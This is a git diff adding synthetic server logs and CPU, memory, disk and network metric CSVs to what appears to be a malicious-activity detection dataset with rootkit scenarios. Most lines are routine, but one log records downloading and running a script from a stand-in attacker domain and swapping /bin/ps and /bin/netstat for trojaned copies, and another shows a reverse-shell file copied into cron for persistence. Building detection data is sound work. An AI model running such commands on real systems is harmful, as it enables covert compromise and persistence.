+1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,13.17,44.56,32.73,0.73,0.93 +2025-08-26T14:00:05Z,13.69,49.96,25.76,0.81,1.1 +2025-08-26T14:00:10Z,10.32,46.85,29.77,0.66,0.6 +2025-08-26T14:00:15Z,14.48,41.89,29.96,0.56,1.12 +2025-08-26T14:00:20Z,17.63,44.1,34.33,0.82,0.87 +2025-08-26T14:00:25Z,10.91,48.46,22.07,0.7,0.84 +2025-08-26T14:00:30Z,18.28,45.47,34.2,0.97,1.16 +2025-08-26T14:00:35Z,15.22,43.5,23.52,1.46,1.11 +2025-08-26T14:00:40Z,13.79,49.95,31.66,0.71,0.93 +2025-08-26T14:00:45Z,11.76,41.44,34.15,1.33,0.71 +2025-08-26T14:00:50Z,17.56,42.9,26.88,0.85,1.12 +2025-08-26T14:00:55Z,14.83,45.74,34.63,1.24,0.55 +2025-08-26T14:01:00Z,14.32,44.07,22.53,1.18,1.44 +2025-08-26T14:01:05Z,11.87,44.38,24.96,0.84,0.54 +2025-08-26T14:01:10Z,13.81,49.88,33.58,0.66,1.46 +2025-08-26T14:01:15Z,18.52,43.99,27.88,1.18,0.87 +2025-08-26T14:01:20Z,12.18,44.82,33.66,1.0,0.9 +2025-08-26T14:01:25Z,16.8,45.49,20.96,0.99,0.85 +2025-08-26T14:01:30Z,18.71,44.52,34.43,0.89,0.56 +2025-08-26T14:01:35Z,13.2,41.04,25.68,0.99,0.52 +2025-08-26T14:01:40Z,11.96,48.53,23.3,0.54,0.77 +2025-08-26T14:01:45Z,15.34,47.74,26.54,0.81,1.42 +2025-08-26T14:01:50Z,14.52,49.25,26.99,1.35,0.82 +2025-08-26T14:01:55Z,14.97,42.99,30.2,1.1,0.8 +2025-08-26T14:02:00Z,10.03,48.46,27.49,1.04,0.99 +2025-08-26T14:02:05Z,17.27,46.16,28.22,1.19,1.44 +2025-08-26T14:02:10Z,16.19,46.68,29.18,1.05,0.8 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+2025-08-26T14:05:35Z,18.79,47.39,33.14,0.55,0.87 +2025-08-26T14:05:40Z,12.64,42.74,26.75,0.51,1.29 +2025-08-26T14:05:45Z,14.48,47.81,28.47,1.37,0.65 +2025-08-26T14:05:50Z,14.33,48.29,25.99,0.71,0.56 +2025-08-26T14:05:55Z,14.58,41.78,30.27,0.57,0.89 +2025-08-26T14:06:00Z,13.0,45.54,30.26,1.37,1.06 +2025-08-26T14:06:05Z,18.5,41.36,20.88,0.86,0.71 +2025-08-26T14:06:10Z,11.46,40.12,27.22,0.95,1.12 +2025-08-26T14:06:15Z,17.89,47.74,33.0,1.4,0.71 +2025-08-26T14:06:20Z,18.16,42.16,33.11,0.91,0.67 +2025-08-26T14:06:25Z,13.95,42.72,34.69,0.58,1.19 +2025-08-26T14:06:30Z,11.87,49.98,20.35,1.03,1.43 +2025-08-26T14:06:35Z,11.57,48.07,26.77,0.57,0.56 +2025-08-26T14:06:40Z,14.43,41.3,32.03,0.87,0.63 +2025-08-26T14:06:45Z,15.38,47.8,22.57,0.74,0.83 +2025-08-26T14:06:50Z,17.43,49.37,25.23,0.66,1.22 +2025-08-26T14:06:55Z,13.43,44.07,31.75,1.01,0.9 +2025-08-26T14:07:00Z,12.57,41.03,33.64,0.78,1.15 +2025-08-26T14:07:05Z,18.19,46.59,23.74,1.28,1.48 +2025-08-26T14:07:10Z,18.34,49.75,21.53,1.22,0.6 +2025-08-26T14:07:15Z,16.19,46.97,22.17,0.76,0.89 +2025-08-26T14:07:20Z,14.91,44.15,32.87,0.74,0.58 +2025-08-26T14:07:25Z,15.29,41.95,32.88,1.03,1.3 diff --git a/mali_dataset/scenario_6/mali_6_12.log b/mali_dataset/scenario_6/mali_6_12.log new file mode 100644 index 0000000000000000000000000000000000000000..698da8c6daae88ab6d6316cb7e8af6a3d476aab5 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_12.log @@ -0,0 +1,31 @@ +Aug 26 14:00:00 CRON[5000]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 14:00:35 CRON[5007]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:00:50 systemd[1]: Starting daily clean up activities... +Aug 26 14:01:10 CRON[5014]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:40 sshd[3118]: Accepted password for user regular_user from 192.168.1.10 port 54321 ssh2 +Aug 26 14:01:40 systemd[1]: Starting daily clean up activities... +Aug 26 14:01:45 CRON[5021]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:20 CRON[5028]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:20 systemd[1]: Started User Manager for UID 0. +Aug 26 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 14:02:40 AIDE[3255]: INFO: /bin/netstat has been modified! +Aug 26 14:02:40 AIDE[3255]: INFO: /bin/ps has been modified! +Aug 26 14:02:40 AIDE[3255]: INFO: Checksum mismatch for /bin/ls +Aug 26 14:02:55 CRON[5035]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:20 systemd[1]: Starting daily clean up activities... +Aug 26 14:03:30 CRON[5042]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:45 sshd[3118]: pam_unix(sshd:session): session closed for user regular_user +Aug 26 14:04:05 CRON[5049]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:04:10 systemd[1]: Starting daily clean up activities... +Aug 26 14:04:40 CRON[5056]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:05:00 sshd[4050]: Accepted publickey for john from 10.0.2.2 port 48876 ssh2 +Aug 26 14:05:00 systemd[1]: Starting daily clean up activities... +Aug 26 14:05:15 CRON[5063]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:05:50 CRON[5070]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:05:50 systemd[1]: Starting daily clean up activities... +Aug 26 14:06:25 CRON[5077]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:40 su[4110]: (to root) john on pts/0 +Aug 26 14:06:40 su[4110]: pam_unix(su:session): session opened for user root by john(uid=1000) +Aug 26 14:06:40 systemd[1]: Starting daily clean up activities... +Aug 26 14:07:00 CRON[5084]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_6/mali_6_13.csv b/mali_dataset/scenario_6/mali_6_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..9afd02c43da071eba01e709a758e9244fce1dbbe --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T14:30:00Z,14.22,46.57,35.54,1.25,1.02 +2025-07-02T14:30:05Z,16.82,43.22,37.69,1.68,0.97 +2025-07-02T14:30:10Z,15.54,43.57,32.52,1.36,1.31 +2025-07-02T14:30:15Z,12.75,45.34,21.88,1.37,1.08 +2025-07-02T14:30:20Z,8.78,50.71,20.22,1.54,0.48 +2025-07-02T14:30:25Z,17.28,47.08,36.58,1.41,0.99 +2025-07-02T14:30:30Z,17.82,44.94,36.69,1.0,0.95 +2025-07-02T14:30:35Z,11.21,49.99,18.98,1.74,1.13 +2025-07-02T14:30:40Z,19.1,45.09,22.44,1.17,1.06 +2025-07-02T14:30:45Z,13.93,44.11,38.73,1.22,0.77 +2025-07-02T14:30:50Z,21.58,42.1,30.59,1.19,0.87 +2025-07-02T14:30:55Z,16.5,45.5,46.25,1.39,1.15 +2025-07-02T14:31:00Z,14.16,45.35,34.14,1.15,0.77 +2025-07-02T14:31:05Z,18.09,42.95,37.43,1.32,0.96 +2025-07-02T14:31:10Z,15.28,39.26,29.33,1.73,0.72 +2025-07-02T14:31:15Z,15.32,44.58,26.41,0.98,1.15 +2025-07-02T14:31:20Z,15.19,45.34,18.4,0.65,1.15 +2025-07-02T14:31:25Z,14.61,43.81,10.0,1.59,0.94 +2025-07-02T14:31:30Z,16.59,42.14,38.93,1.29,0.73 +2025-07-02T14:31:35Z,17.03,41.78,36.35,1.41,0.82 +2025-07-02T14:31:40Z,15.89,43.55,25.97,1.42,0.88 +2025-07-02T14:31:45Z,19.53,49.09,38.42,1.1,0.85 +2025-07-02T14:31:50Z,11.61,45.46,18.26,1.26,0.97 +2025-07-02T14:31:55Z,13.84,40.1,42.59,0.69,0.62 +2025-07-02T14:32:00Z,17.06,46.93,33.78,1.18,0.66 +2025-07-02T14:32:05Z,12.06,43.66,43.42,1.23,0.73 +2025-07-02T14:32:10Z,18.91,52.02,16.47,0.85,1.08 +2025-07-02T14:32:15Z,16.78,44.06,41.42,1.0,0.68 +2025-07-02T14:32:20Z,14.55,44.82,37.43,1.17,0.94 +2025-07-02T14:32:25Z,16.34,45.58,32.72,1.3,1.08 +2025-07-02T14:32:30Z,13.53,45.86,23.05,1.15,0.62 +2025-07-02T14:32:35Z,11.3,45.16,32.84,1.62,0.52 +2025-07-02T14:32:40Z,17.14,45.15,32.1,1.42,0.53 +2025-07-02T14:32:45Z,17.36,44.34,25.13,1.44,1.0 +2025-07-02T14:32:50Z,15.29,43.34,19.03,0.67,0.98 +2025-07-02T14:32:55Z,14.95,43.88,21.45,1.08,0.86 +2025-07-02T14:33:00Z,9.68,41.45,25.75,1.26,0.69 +2025-07-02T14:33:05Z,12.91,43.42,39.1,1.09,0.91 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No changes found. +Jul 02 14:32:05 server-1 systemd[1]: Starting session for user root. +Jul 02 14:32:30 server-1 sshd[25188]: Accepted password for admin from 192.168.1.10 port 54322 ssh2 +Jul 02 14:33:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 02 14:34:00 server-1 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:34:10 server-1 systemd[1]: Starting session for user root. +Jul 02 14:35:00 server-1 aide[1123]: INFO AIDE check started. +Jul 02 14:35:25 server-1 aide[1123]: ALERT Mismatch found for: /bin/ps +Jul 02 14:35:30 server-1 aide[1123]: ALERT Mismatch found for: /bin/netstat +Jul 02 14:35:50 server-1 aide[1123]: INFO AIDE check finished. Changes found. +Jul 02 14:36:15 server-1 systemd[1]: Starting session for user root. +Jul 02 14:36:40 server-1 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/mali_dataset/scenario_6/mali_6_14.csv b/mali_dataset/scenario_6/mali_6_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..bfc0fc9e0df347450eb0fdea8d6dfe53cf18ffc1 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.376432653024967,44.5688360598266,28.462465527637963,1.2637594244638768,1.2543192705650101 +2025-07-02T12:00:05Z,16.66962472435194,41.2293525062885,29.806666628547713,1.0273183045751932,1.540842417106343 +2025-07-02T12:00:10Z,15.857821065768677,41.58744166095679,26.575428192841915,1.3173946012193052,1.3750314838240179 +2025-07-02T12:00:15Z,13.832455232031135,43.382277781318095,19.92667248467353,1.2938510558157121,1.288515151108093 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Starting Daily apt download activities... +Jul 02 12:00:20 CRON[3101]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 12:00:45 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 02 12:01:10 user-shell[3250]: wget http://evil-domain.com/rk.sh -O /tmp/rk.sh +Jul 02 12:01:25 user-shell[3251]: chmod +x /tmp/rk.sh +Jul 02 12:01:35 user-shell[3252]: /tmp/rk.sh +Jul 02 12:02:10 systemd[1]: session-c5.scope: Succeeded. +Jul 02 12:02:30 user-shell[3252]: mv /bin/ps /bin/.ps.old +Jul 02 12:02:35 user-shell[3252]: mv /tmp/ps_rk /bin/ps +Jul 02 12:02:40 user-shell[3252]: mv /bin/netstat /bin/.netstat.old +Jul 02 12:02:45 user-shell[3252]: mv /tmp/netstat_rk /bin/netstat +Jul 02 12:03:00 user-shell[3252]: rm /tmp/rk.sh +Jul 02 12:03:20 anacron[2800]: Job `cron.daily` terminated +Jul 02 12:04:10 tripwire[4101]: Integrity check failed: File '/bin/ps' has been modified. (hash: new_hash_val) +Jul 02 12:04:15 tripwire[4101]: Integrity check failed: File '/bin/netstat' has been modified. (hash: new_hash_val_2) +Jul 02 12:04:40 logrotate[4200]: WARNING: /var/log/auth.log was modified manually. Size discrepancy detected. +Jul 02 12:05:10 web-app[1234]: GET /api/v1/status status=200 OK +Jul 02 12:06:10 systemd[1]: Starting Clean php session files... +Jul 02 12:06:40 CRON[4501]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )) +Jul 02 12:07:10 web-app[1234]: GET /api/v1/user/101 status=200 OK diff --git a/mali_dataset/scenario_6/mali_6_15.csv b/mali_dataset/scenario_6/mali_6_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..e3219a68d8d911090377280e801557b10f11eddc --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.73,40.83,20.54,1.2,1.18 +2025-07-02T12:00:05Z,11.89,38.14,28.55,1.11,0.8 +2025-07-02T12:00:10Z,11.12,43.11,21.9,1.0,0.79 +2025-07-02T12:00:15Z,17.15,41.64,23.29,0.9,1.22 +2025-07-02T12:00:20Z,11.68,39.67,21.68,1.08,1.37 +2025-07-02T12:00:25Z,10.99,39.84,20.96,1.49,1.19 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+2025-07-02T12:07:10Z,12.49,36.25,31.11,1.49,1.22 +2025-07-02T12:07:15Z,16.46,42.25,21.38,0.52,0.84 +2025-07-02T12:07:20Z,14.95,39.75,34.53,0.87,0.82 +2025-07-02T12:07:25Z,16.98,35.88,22.78,1.47,1.15 diff --git a/mali_dataset/scenario_6/mali_6_15.log b/mali_dataset/scenario_6/mali_6_15.log new file mode 100644 index 0000000000000000000000000000000000000000..4aad41d0752f2fd2ce43002538b0c97c0c588ed7 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_15.log @@ -0,0 +1,35 @@ +Jul 02 12:00:00 my-server systemd[1]: Starting daily clean up activities... +Jul 02 12:00:15 my-server web-app[1567]: GET /api/v1/health status=200 OK +Jul 02 12:00:25 my-server kernel: [11025.123456] usb 1-1: new high-speed USB device +Jul 02 12:00:35 my-server CRON[8890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:50 my-server kernel: [11050.123456] usb 1-1: new high-speed USB device +Jul 02 12:01:10 my-server aide[2105]: INFO: AIDE check started +Jul 02 12:01:12 my-server aide[2105]: ALERT: File /bin/ps has been modified: checksum mismatch +Jul 02 12:01:13 my-server aide[2105]: ALERT: File /bin/netstat has been modified: checksum mismatch +Jul 02 12:01:14 my-server aide[2105]: ALERT: File /bin/ls has been modified: checksum mismatch +Jul 02 12:01:15 my-server aide[2105]: INFO: AIDE check finished +Jul 02 12:01:35 my-server systemd[1]: Started Session 123 of user root. +Jul 02 12:01:40 my-server kernel: [11100.123456] usb 1-1: new high-speed USB device +Jul 02 12:02:00 my-server web-app[1567]: GET /api/v1/user/45 status=200 OK +Jul 02 12:02:05 my-server kernel: [11125.123456] usb 1-1: new high-speed USB device +Jul 02 12:02:30 my-server kernel: [11234.567890] TCP: request_sock_TCP: Dropping request +Jul 02 12:02:55 my-server kernel: [11175.123456] usb 1-1: new high-speed USB device +Jul 02 12:03:00 my-server CRON[8999]: (root) CMD (/usr/sbin/ntpdate-debian) +Jul 02 12:03:05 my-server systemd[1]: Created slice User Slice of UID 0. +Jul 02 12:03:06 my-server CRON[9010]: (root) CMD (cp /tmp/.x-11/revshell /etc/cron.daily/updater) +Jul 02 12:03:20 my-server kernel: [11200.123456] usb 1-1: new high-speed USB device +Jul 02 12:03:45 my-server kernel: [11225.123456] usb 1-1: new high-speed USB device +Jul 02 12:04:00 my-server web-app[1567]: GET /api/v1/user/99 status=200 OK +Jul 02 12:04:10 my-server kernel: [11250.123456] usb 1-1: new high-speed USB device +Jul 02 12:04:20 my-server systemd[1]: Starting daily apt upgrade and clean activities... +Jul 02 12:04:35 my-server kernel: [11275.123456] usb 1-1: new high-speed USB device +Jul 02 12:05:00 my-server tripwire[2801]: Integrity check starting. +Jul 02 12:05:05 my-server tripwire[2801]: Policy update detected for: /var/log/auth.log. Violation: File size changed unexpectedly. +Jul 02 12:05:10 my-server tripwire[2801]: Integrity check complete. +Jul 02 12:05:25 my-server kernel: [11325.123456] usb 1-1: new high-speed USB device +Jul 02 12:05:50 my-server kernel: [11350.123456] usb 1-1: new high-speed USB device +Jul 02 12:06:00 my-server CRON[9112]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 my-server kernel: [11375.123456] usb 1-1: new high-speed USB device +Jul 02 12:06:40 my-server web-app[1567]: GET /api/v1/health status=200 OK +Jul 02 12:07:05 my-server kernel: [11425.123456] usb 1-1: new high-speed USB device +Jul 02 12:07:20 my-server systemd[1]: Daily apt upgrade and clean activities finished. diff --git a/mali_dataset/scenario_6/mali_6_16.csv b/mali_dataset/scenario_6/mali_6_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..377a12c637f5e4951c0c026292f6fc6472667ee7 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_16.csv @@ -0,0 +1,91 @@ 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+2025-07-02T14:06:35Z,10.03,42.74,33.87,0.96,0.79 +2025-07-02T14:06:40Z,14.45,42.33,25.37,1.06,0.86 +2025-07-02T14:06:45Z,15.89,42.55,29.7,1.3,0.8 +2025-07-02T14:06:50Z,18.69,44.77,13.79,1.17,0.49 +2025-07-02T14:06:55Z,13.7,46.02,24.88,0.97,0.79 +2025-07-02T14:07:00Z,12.98,45.83,28.74,1.0,0.6 +2025-07-02T14:07:05Z,13.75,47.48,23.76,0.8,0.9 +2025-07-02T14:07:10Z,17.29,45.04,38.16,1.0,0.85 +2025-07-02T14:07:15Z,15.82,49.36,22.85,0.94,0.66 +2025-07-02T14:07:20Z,13.68,44.21,27.8,1.06,0.72 +2025-07-02T14:07:25Z,16.28,53.16,30.65,0.83,0.64 diff --git a/mali_dataset/scenario_6/mali_6_16.log b/mali_dataset/scenario_6/mali_6_16.log new file mode 100644 index 0000000000000000000000000000000000000000..9e1bafca76dea52b763f62bb8db69ee7495f75c0 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_16.log @@ -0,0 +1,29 @@ +Jul 02 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 14:00:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:00:00 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:00:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:01:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 14:02:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:02:05 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:02:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 14:03:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:03:45 aide[9123]: AIDE integrity check found differences. +Jul 02 14:03:45 aide[9123]: File: /bin/ps +Jul 02 14:03:45 aide[9123]: SHA256 : 1a2b3c...d4e5f6 (expected) -> 7g8h9i...j0k1l2 (found) +Jul 02 14:03:45 aide[9123]: File: /bin/netstat +Jul 02 14:03:45 aide[9123]: SHA256 : 3m4n5o...p6q7r8 (expected) -> 9s0t1u...v2w3x4 (found) +Jul 02 14:03:45 aide[9123]: AIDE found 2 changed files. Please check the report. +Jul 02 14:04:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:04:10 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:04:30 systemd[1]: Starting daily clean up activities... +Jul 02 14:04:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:05:00 sshd[9543]: Disconnected from invalid user bogus 10.0.1.100 port 54321 [preauth] +Jul 02 14:05:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 14:06:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:06:15 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:06:15 sshd[9543]: Disconnected from invalid user bogus 10.0.1.100 port 54321 [preauth] +Jul 02 14:06:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 14:07:20 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_6/mali_6_17.csv b/mali_dataset/scenario_6/mali_6_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..d989f8dd8844b0f79ae0ade7996f8514ea495510 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T14:00:00Z,13.17,43.71,21.46,0.79,0.8 +2025-08-10T14:00:05Z,14.56,39.52,26.86,0.85,1.05 +2025-08-10T14:00:10Z,18.49,44.62,25.66,0.74,1.18 +2025-08-10T14:00:15Z,12.26,38.9,30.97,0.6,1.37 +2025-08-10T14:00:20Z,14.33,35.62,26.86,1.43,1.06 +2025-08-10T14:00:25Z,13.69,38.2,24.09,1.25,1.35 +2025-08-10T14:00:30Z,19.96,36.04,29.47,0.76,0.64 +2025-08-10T14:00:35Z,13.84,38.79,22.47,0.6,0.56 +2025-08-10T14:00:40Z,13.11,39.92,26.36,1.43,0.86 +2025-08-10T14:00:45Z,15.96,35.19,21.84,1.47,0.71 +2025-08-10T14:00:50Z,10.32,36.96,29.7,0.71,0.65 +2025-08-10T14:00:55Z,16.85,43.53,25.12,0.54,0.51 +2025-08-10T14:01:00Z,16.52,37.2,35.39,0.56,0.98 +2025-08-10T14:01:05Z,11.63,35.37,36.98,0.64,0.95 +2025-08-10T14:01:10Z,11.03,37.74,27.2,0.69,1.12 +2025-08-10T14:01:15Z,14.48,40.34,22.38,1.21,1.29 +2025-08-10T14:01:20Z,11.89,42.74,31.48,0.53,1.27 +2025-08-10T14:01:25Z,16.64,39.36,26.45,0.73,1.37 +2025-08-10T14:01:30Z,10.61,38.06,21.07,0.85,1.4 +2025-08-10T14:01:35Z,16.16,44.2,33.96,0.53,0.71 +2025-08-10T14:01:40Z,17.63,39.52,30.82,1.14,1.32 +2025-08-10T14:01:45Z,14.1,44.25,31.13,1.15,0.72 +2025-08-10T14:01:50Z,19.56,39.66,36.64,1.1,1.37 +2025-08-10T14:01:55Z,13.24,43.45,27.51,0.65,0.91 +2025-08-10T14:02:00Z,13.67,38.19,21.66,1.39,0.67 +2025-08-10T14:02:05Z,10.91,39.97,26.05,0.91,0.89 +2025-08-10T14:02:10Z,18.46,37.99,32.45,1.41,0.77 +2025-08-10T14:02:15Z,11.38,41.8,21.06,0.84,1.48 +2025-08-10T14:02:20Z,12.04,41.02,30.32,1.09,0.58 +2025-08-10T14:02:25Z,13.44,38.03,22.45,1.29,1.19 +2025-08-10T14:02:30Z,19.13,36.35,32.39,0.51,0.69 +2025-08-10T14:02:35Z,16.16,44.54,24.12,0.74,1.5 +2025-08-10T14:02:40Z,20.07,41.85,23.53,0.55,0.52 +2025-08-10T14:02:45Z,15.42,41.76,27.52,0.5,1.03 +2025-08-10T14:02:50Z,17.89,41.33,38.45,0.92,1.43 +2025-08-10T14:02:55Z,16.12,38.32,37.39,1.38,0.66 +2025-08-10T14:03:00Z,14.35,42.43,35.65,1.18,1.31 +2025-08-10T14:03:05Z,13.37,38.66,21.85,1.49,0.95 +2025-08-10T14:03:10Z,20.57,40.15,28.55,0.57,0.57 +2025-08-10T14:03:15Z,16.71,43.72,22.81,1.33,0.56 +2025-08-10T14:03:20Z,14.86,37.31,36.7,0.8,0.94 +2025-08-10T14:03:25Z,21.13,43.39,23.83,0.94,0.63 +2025-08-10T14:03:30Z,18.95,39.32,31.32,0.89,1.3 +2025-08-10T14:03:35Z,13.29,39.2,27.33,1.45,0.87 +2025-08-10T14:03:40Z,14.83,37.71,25.13,0.73,0.63 +2025-08-10T14:03:45Z,12.39,44.78,24.94,0.66,1.04 +2025-08-10T14:03:50Z,12.05,44.88,21.91,0.79,1.28 +2025-08-10T14:03:55Z,20.88,39.42,28.21,1.16,0.67 +2025-08-10T14:04:00Z,19.57,45.98,33.39,0.84,0.74 +2025-08-10T14:04:05Z,13.31,43.93,31.24,0.76,0.83 +2025-08-10T14:04:10Z,18.55,40.75,38.02,1.09,1.24 +2025-08-10T14:04:15Z,14.21,43.56,25.61,1.36,1.44 +2025-08-10T14:04:20Z,15.6,41.32,35.79,1.14,0.85 +2025-08-10T14:04:25Z,14.85,36.99,36.44,1.21,0.66 +2025-08-10T14:04:30Z,17.07,39.16,23.86,0.63,1.22 +2025-08-10T14:04:35Z,15.44,46.58,35.02,0.58,0.84 +2025-08-10T14:04:40Z,17.23,42.8,21.53,1.33,0.91 +2025-08-10T14:04:45Z,20.37,42.87,30.9,1.5,1.28 +2025-08-10T14:04:50Z,18.12,38.38,21.12,0.88,1.01 +2025-08-10T14:04:55Z,11.85,42.41,28.25,1.45,0.9 +2025-08-10T14:05:00Z,15.09,43.12,31.12,0.6,0.76 +2025-08-10T14:05:05Z,14.64,40.61,33.27,0.51,0.6 +2025-08-10T14:05:10Z,12.49,37.38,30.32,1.43,1.41 +2025-08-10T14:05:15Z,18.27,45.34,20.59,0.59,0.78 +2025-08-10T14:05:20Z,20.55,45.11,39.06,0.61,1.15 +2025-08-10T14:05:25Z,13.34,42.76,30.95,1.38,1.32 +2025-08-10T14:05:30Z,15.67,44.95,38.04,1.24,1.16 +2025-08-10T14:05:35Z,13.99,46.75,29.31,1.38,0.75 +2025-08-10T14:05:40Z,14.19,44.68,27.2,0.55,1.28 +2025-08-10T14:05:45Z,11.26,41.02,29.55,0.87,1.48 +2025-08-10T14:05:50Z,14.45,43.26,20.68,0.76,1.33 +2025-08-10T14:05:55Z,20.87,41.82,24.72,0.77,1.48 +2025-08-10T14:06:00Z,20.45,44.06,25.32,0.95,0.6 +2025-08-10T14:06:05Z,12.71,39.97,22.81,0.51,1.22 +2025-08-10T14:06:10Z,20.49,41.71,38.68,1.29,0.6 +2025-08-10T14:06:15Z,19.23,42.14,26.41,0.95,1.12 +2025-08-10T14:06:20Z,15.47,45.27,30.56,1.28,1.2 +2025-08-10T14:06:25Z,16.43,40.8,35.71,1.06,0.64 +2025-08-10T14:06:30Z,17.83,44.73,28.52,1.37,0.76 +2025-08-10T14:06:35Z,14.66,38.84,26.7,0.65,0.89 +2025-08-10T14:06:40Z,13.32,38.78,20.53,0.93,0.99 +2025-08-10T14:06:45Z,15.67,38.51,35.27,1.33,0.92 +2025-08-10T14:06:50Z,20.49,38.84,28.85,0.9,1.36 +2025-08-10T14:06:55Z,15.74,40.85,28.33,0.71,0.74 +2025-08-10T14:07:00Z,14.95,41.06,34.26,0.56,0.58 +2025-08-10T14:07:05Z,17.78,46.15,20.39,0.96,1.03 +2025-08-10T14:07:10Z,16.47,41.36,21.59,0.68,0.69 +2025-08-10T14:07:15Z,12.11,41.92,29.69,1.18,1.36 +2025-08-10T14:07:20Z,15.9,46.12,37.06,0.57,1.03 +2025-08-10T14:07:25Z,14.26,38.17,38.7,0.89,1.3 diff --git a/mali_dataset/scenario_6/mali_6_17.log b/mali_dataset/scenario_6/mali_6_17.log new file mode 100644 index 0000000000000000000000000000000000000000..cb51a65e305f72556a698b28f0016a99dd1e255a --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_17.log @@ -0,0 +1,12 @@ +Aug 10 14:00:05 ubuntu-server systemd[1]: Starting daily clean up activities... +Aug 10 14:00:25 ubuntu-server sshd[15221]: Accepted publickey for legitimate_user from 192.168.1.10 port 49152 ssh2 +Aug 10 14:00:30 ubuntu-server sshd[15221]: pam_unix(sshd:session): session opened for user legitimate_user by (uid=0) +Aug 10 14:01:00 ubuntu-server CRON[15300]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 10 14:02:35 ubuntu-server aide[15480]: AIDE found checksum mismatch in /bin/ps. File has been modified. +Aug 10 14:02:37 ubuntu-server aide[15480]: AIDE found checksum mismatch in /bin/netstat. File has been modified. +Aug 10 14:03:02 ubuntu-server log-integrity-check[15512]: ALERT: /var/log/auth.log hash mismatch or unexpected size change detected. +Aug 10 14:04:00 ubuntu-server systemd[1]: Starting Discard unused blocks... +Aug 10 14:05:00 ubuntu-server CRON[15601]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 10 14:05:50 ubuntu-server sshd[15221]: pam_unix(sshd:session): session closed for user legitimate_user +Aug 10 14:06:40 ubuntu-server kernel: [18345.678] random: crng init done +Aug 10 14:07:20 ubuntu-server systemd[1]: Finished Daily apt download activities. diff --git a/mali_dataset/scenario_6/mali_6_18.csv b/mali_dataset/scenario_6/mali_6_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..39a307c2979d9a35271867e4d40811043434ad5d --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,10.729259498617424,40.827872525975245,10.540049751796142,0.3807389915279721,0.3712019414542401 +2025-07-03T10:00:05Z,6.885633171359718,38.14417229219208,18.545910844923977,0.3446974372427603,0.22168926300208056 +2025-07-03T10:00:10Z,6.1163527216662175,43.10838595161537,11.904431536384335,0.3010844283481424,0.21774699300819156 